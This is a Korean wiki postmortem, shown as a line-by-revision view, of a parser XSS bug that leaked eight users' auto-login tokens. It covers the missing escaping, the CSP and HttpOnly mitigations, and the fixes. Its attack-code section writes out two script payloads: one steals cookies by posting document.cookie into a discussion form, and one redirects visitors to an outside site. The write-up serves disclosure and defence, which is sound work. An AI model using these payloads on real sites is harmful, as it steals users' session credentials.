r43 | ||
---|---|---|
r33 (삭제된 사용자) (r24으로 되돌림) | 1 | [목차] |
2 | == 개요 == | |
3 | 간밤에 삽질하게 만든 사건. | |
r39 (r3으로 되돌림) | 4 | |
r33 (삭제된 사용자) (r24으로 되돌림) | 5 | == 원인 == |
r39 (r3으로 되돌림) | 6 | 기능 링크[* 파서 내부적으로 \[\[파일:\~\~\~\~.png\]\] 나 \[\[분류:\~\~\~\~.png\]\] 를 이렇게 부른다.] 를 렌더링하는 과정에서 어떤 사유로 인해 렌더링 되지 못하면서[* 이경우에는 해당 이름을 가진 파일 문서가 존재하지 않아서] fallback 처리 로직이 실행되었는데 해당 로직에 escape를 실수로 빼먹어 버린 것. |
7 | ||
r33 (삭제된 사용자) (r24으로 되돌림) | 8 | == 피해의 완화 == |
9 | 기본적으로 보안에 많은 염두를 두고 개발되었기 때문에 여러 가지 보안 대비책이 마련돼 있었다. | |
r39 (r3으로 되돌림) | 10 | |
r33 (삭제된 사용자) (r24으로 되돌림) | 11 | === Content Security Policy === |
12 | 나무위키는 CSP가 활성화된 상태였기 때문에 공격자 입장에서는 XHR이나 img tag를 통해 외부 서버로 쿠키 전송 같은 짓거리를 할 수가 없어서, 처음에 취약점 소식을 들었을 땐 별 피해가 없겠거니 싶었다. 그런데 생각보다 좀 창의적인 공격을 했더라. | |
13 | 기술 부채로 인해 script-src에 unsafe-inline 이 들어가서 이번 공격을 원천적으로 막을 수 없었던 것은 아쉬웠던 점. | |
r39 (r3으로 되돌림) | 14 | |
r33 (삭제된 사용자) (r24으로 되돌림) | 15 | === HttpOnly === |
r39 (r3으로 되돌림) | 16 | 기본적으로 세션 쿠키는 HttpOnly[* document.cookie, XMLHTTPRequest 등으로 쿠키값을 읽을 수 없도록 하는 속성. 자세한 설명은 이쪽으로. [[https://developer.mozilla.org/ko/docs/Web/HTTP/Cookies#%EB%B3%B4%EC%95%88%EA%B3%BC_HttpOnly_%EC%BF%A0%ED%82%A4|MDN]]]속성이 켜져 있기 때문에 이번 공격에서 로그인한 상태여도 기본적으로 피해가 없었다. |
17 | ||
18 | 하지만 자동 로그인 쿠키 honoka에 해당 속성을 켜놓는 걸 깜박하는 바람에 자동 로그인한 사용자는 이번 공격의 영향을 받게 되버린 것이다! 사실 자동 로그인 쿠키에 HttpOnly 속성만 들어가 있었어도 공격자가 특정 사이트--히토미--를 띄울 수 있었다는 것 외에 전혀 피해가 없을 수 있다는 점 또한 아쉬웠다. | |
19 | ||
r33 (삭제된 사용자) (r24으로 되돌림) | 20 | == 공격 코드 == |
r39 (r3으로 되돌림) | 21 | {{{[[파일:<script>$('textarea').val(document.cookie);$('form.new-thread-form').submit();</script>]]}}} |
22 | {{{[[파일:<script>location.assign('https://hitomi.la');</script>]]}}} | |
r33 (삭제된 사용자) (r24으로 되돌림) | 23 | |
24 | 구현의 귀찮음으로 인해 쓰레드에 레스를 작성하는 부분이 CSRF 토큰이 없었는데 사실 있어도 이 케이스에서는 별 쓸모가 없었다. | |
25 | 다행인 점은 CSP로 인해 공격자가 외부 서버 등으로 쿠키를 전송할 수 없어서 토론 레스로 남기게 끔[* 좀 창의적이었다.] 했는데 이 때문에 정확한 피해자 특정이 가능했다. | |
r39 (r3으로 되돌림) | 26 | |
r33 (삭제된 사용자) (r24으로 되돌림) | 27 | == 피해 == |
r39 (r3으로 되돌림) | 28 | 자동 로그인을 사용 중이고 해당 시간대에 해당 쓰레드에 접속했던 8명의 자동 로그인 토큰 유출 |
29 | ||
r33 (삭제된 사용자) (r24으로 되돌림) | 30 | == 해결 == |
31 | 1. 파서의 해당 루틴 버그 수정됨. | |
32 | 1. 자동 로그인 쿠키에 HttpOnly 속성 적용 | |
33 | 1. 장기적으로 inline script tag 제거 예정 --과연 언제가 될지?-- | |
r39 (r3으로 되돌림) | 34 | |
r33 (삭제된 사용자) (r24으로 되돌림) | 35 | == 결론 == |
36 | 뭐 패스워드나 이런게 유출된게 아니니... | |
r39 (r3으로 되돌림) | 37 | 규모에 비해 생각보다 피해는 적었다. 메데타시 메데타시 |
38 | ||
39 | [[분류:나무위키]] | |
40 |